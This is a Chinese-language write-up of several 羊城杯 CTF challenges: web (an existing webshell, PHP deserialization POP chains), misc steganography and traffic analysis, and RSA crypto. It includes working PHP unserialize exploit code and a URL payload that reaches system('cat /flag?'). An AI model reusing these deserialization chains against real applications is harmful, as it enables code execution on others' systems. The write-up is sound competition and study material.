羊城杯 部分wp

目录

Web:

rce_me:

step_by_step-v3:

Safepop:

MISC:

where_is_secret:

迷失幻境:

签个到:

躲猫猫:

寻宝-Fix

CRYPTO:

LRSA:

EasyRsa:


Web:

rce_me:

(应该为非预期)

扫描发现存在1.php,为shell文件,蚁剑连上。

 

然后利用date –fflag读取flag。

 

Flag为:flag{31240024220504177118549238509448}


step_by_step-v3:

简单的反序列化,本来一直在想绕过include_once,但好像不行,最后发现了在yang->__rostring可以直接打phpinfo。

Exp:

<?php

class yang

{

    public $y1;

}

class cheng

{

    public $c1;

}

class bei

{

    public $b1;

}

$a=new yang();

$b=new cheng();

$c=new bei();

$b->c1=$c;

$c->b1=$a;

$a->y1='phpinfo';

echo serialize($b);

 

Flag为:flag{41398210650048416729033631022641}


Safepop:

简单的Pop链子。

Exp:

<?php

error_reporting(E_ALL);

ini_set('display_errors', true);



class Fun{

    private $func = "Test::getFlag";

    public function __call($f,$p){

        call_user_func($this->func,$f,$p);

    }



}



class Test{

    public function getFlag(){

        system("cat /flag?");

    }

    public function __call($f,$p){

        phpinfo();

    }



}



class A{

    public $a;

    public function __get($p){

        print(get_class($this->a));

        if(preg_match("/Test/",get_class($this->a))){

            return "No test in Prod\n";

        }

        return $this->a->$p();

    }

}



class B{

    public $p;

    public function __destruct(){

        $p = $this->p;

        echo $this->a->$p;

    }

}



$a = new Fun();

$c = new A();

$c->a = $a;

$b = new B();

$b->a = $c;

$b->p = '';

echo serialize($b);

绕一下wakeup然后再绕一下属性。

payload:

?pop=O:1:"B":3:{s:1:"p";s:0:"";s:1:"a";O:1:"A":1:{s:1:"a";O:3:"Fun":1:{s:9:"%00Fun%00func";s:13:"Test::getFlag";}}}

 

MISC:


where_is_secret:

发现picture.zip存在密码,猜测密码再vig中。

维吉尼亚解密一下,网址Vigenere Solver - www.guballa.de

得到密码为:GWHT@R1nd0yyds

解开后发现是一个bmp图片,后来给出了hint,给的是加密bmp的脚本,反向写一下即可。

Exp:

from PIL import Image
import numpy as np

def feng(num):
        return ('\\u{:0>4}'.format(num)).encode().decode('unicode_escape')

with open("flag.txt", mode="wb") as flag:
         a = Image.open("out.bmp")
         b = np.array(a)
         w = h = b.shape[0]
         p = []
         for  i in range(w):
            for j in range(h):
                date = b[i,j,:]
                d = feng(str(hex(date[1])).replace('0x','').rjust(2, '0') +str(hex(date[2])).replace('0x','').rjust(2, '0'))
                p.append(d)
         for d in p:
             flag.write(d.encode())

打开后发现:

 

超越后边应该存在flag。

删掉所有括号包裹的字符串, 最后删掉无关字符,得flag

flag为:flag{ h1d3_1n_th3_p1ctur3}

迷失幻境:

Vmdk文件是虚拟机VMware创建的虚拟硬盘格式,使用工具DAEMON Tools Lite挂载附件

得到如下:一堆环境照片,还有一张哒哒哒的图片与其他不同

 

一个个看过之后没有什么发现,然后就在回收站中发现了两张被删除的照片

修复了一下少文件头的照片之后,使用stegsolve工具对比一下未被删除的照片,出来一个key:可莉前来报道

 

Outguess解密另一张可莉可莉.jpg:(重命名该图片2.jpg)

命令:outguess -r 2.jpg  -k  "可莉前来报道"  flag.txt

在桌面出现flag.txt文件

Cat得到:DASCTF{f473a6fd2de17a0c5794414b3905ebbe}

 

提交:f473a6fd2de17a0c5794414b3905ebbe

签个到:

先rot13解密。

 

然后再base32

 

Flag为:flag{bed381ea547749ee83f70798829408ee}

躲猫猫:

流量分析,在ftp中发现压缩包,导出一下,在linux解压一下,发现存在加密,找密码。

 

其中key.log没加密,猜测密码在其中,看内容是可以用它解密TLS流量,然后去找TLS流量。

解密TLS流量。

 

发现图片,删掉一部分可得到密码图片。

压缩包密码为:200279651941337428

在http发现PNG图片。

 

右键导出分组字节流,定为1.png,然后写脚本还原一下图片。

Exp:

from PIL import Image
from numpy import array, zeros, uint8
import os
import cv2

png = cv2.imread("1.png")
pngarray = array(png)
x1,y1 = 1800,1800
x,y = 5999540678407978169965856946811257903979429787575580150595711549672916183293763090704344230372835328,6310149030391323406342737832910952782997118359318834776480172449836047279615976753524231989362688
a = round(x/y*0.001, 16)
f1 = y*3650/x
b = round(x/y*0.00101, 16)
f2 = y*3675/x
c = round(x/y*0.00102, 16)
f3 = y*3680/x
kt = [a, b, c]
temp_image = zeros(shape=[x1, y1, 3], dtype=uint8)
for i in range(0, 1):
    for j in range(0, x1):
        for k in range(0, y1):
            a = f1 * a * (1 - a)
            b = f2 * b * (1 - b)
            c = f3 * c * (1 - c)
            r1 = int(a * 255)
            r2 = int(b * 255)
            r3 = int(c * 255)
            for t in range(0, 3):
                temp_image[j][k][t] = (pngarray[j][k][t] - ((r1 + r2) ^ r3)) % 256

    a = kt[0]
    b = kt[1]
    c = kt[2]

flag = Image.fromarray(temp_image)
flag.show()
flag.save("feng.png")

得到特殊二维码图片。

 

Ps把中间的猫扣成二维码中的圈,然后扫一下即可。

 

Flag为:GWHT{ozqgVLoI1DvK8giNVdvGslr_aZKKwNuv_q-FzqB5N3hHHqn3}

寻宝-Fix

Hex值个位十位调换,然后解压一下。

发现存在flag.zip,但有密码。

另外有一个寻宝游戏,利用ce修改生命值,然后闯关,提示闯关图为关键。

二十张地图:

前四张为猪圈密码,然后后边为曼彻斯特编码对应二进制数据为01011111 01100001 00110001 01011111

 

 

最后一本分为钢琴,琴键对应数字,对应的数字为114514

得到密码为nqnl_a1_114514,最后发现猪圈密码不对,直接爆破出来了。

最后密码为OWOH_a1_114514

打开文件明显发现flag被隐藏起来了,想到了零宽度字符隐写,然后在线解密一下就好。

 

Flag为:GWHT{Wher3_1S_Th4_1gI981O?}

CRYPTO:


LRSA:

打开后发现output.txt中数据得到的脚本。

 

先求出p和q。

 

然后再解t=(pP-58P+q)%Q

得到p,q为:

p=80736411146583842306585010871034886981016840349026602734742256246556342668178774083233822097872779308174897649383396380481655663281333047577768952571915605685701400990749928642136680236367785948214890529631428970999122918591632651324318444462622996015719163492064450044087392474349767300242266723293755137205+58
q=71239161441539946834999944364158306978517617517717217001776063773301330324729178632534286023377366747004115034635139042058644768011502688969022553791977558750633767627495955645170437100983708648876951588485253787441732757259210010467734037546118780321368088487269039555130213851691659851510403573663333586407+44

然后逆写脚本直接得到flag。

from gmpy2 import *
from Crypto.Util.number import *
e=65537
p=80736411146583842306585010871034886981016840349026602734742256246556342668178774083233822097872779308174897649383396380481655663281333047577768952571915605685701400990749928642136680236367785948214890529631428970999122918591632651324318444462622996015719163492064450044087392474349767300242266723293755137205+58
q=71239161441539946834999944364158306978517617517717217001776063773301330324729178632534286023377366747004115034635139042058644768011502688969022553791977558750633767627495955645170437100983708648876951588485253787441732757259210010467734037546118780321368088487269039555130213851691659851510403573663333586407+44
c=4364802217291010807437827526073499188746160856656033054696031258814848127341094853323797303333741617649819892633013549917144139975939225893749114460910089509552261297408649636515368831194227006310835137628421405558641056278574098849091436284763725120659865442243245486345692476515256604820175726649516152356765363753262839864657243662645981385763738120585801720865252694204286145009527172990713740098977714337038793323846801300955225503801654258983911473974238212956519721447805792992654110642511482243273775873164502478594971816554268730722314333969932527553109979814408613177186842539860073028659812891580301154746
x=invert(e,(p-1)*(q-1))
flag=pow(c,x,p*q)
print(long_to_bytes(flag))

 

得到flag,为:DASCTF{8f3djoj9wedj2_dkc903cwckckdk}


EasyRsa:

简单的rsa

在给的task.py中发现ce

 

对outout.txt中的数据逆解一下。

from gmpy2 import *
from Crypto.Util.number import *

flag = open("output.txt", "r")
a = flag.readlines()
flag.close()
e = 65537
c=38127524839835864306737280818907796566475979451567460500065967565655632622992572530918601432256137666695102199970580936307755091109351218835095309766358063857260088937006810056236871014903809290530667071255731805071115169201705265663551734892827553733293929057918850738362888383312352624299108382366714432727
for i in range(11,0,-1):
    P=gcd(int(a[i]),int(a[i-1]))
    Q=int(a[i])//P
    d=invert(e,(P-1)*(Q-1))
    x=pow(c,d,int(a[i]))
    c=x
P=gcd(int(a[1]),int(a[0]))
Q=int(a[0])//P
d=invert(e,(P-1)*(Q-1))
x=pow(c,d,int(a[0]))
print(long_to_bytes(x))

 

Flag为:GWHT{gixkJl7SJTcpLOL9zqwo}

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

f0njl

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值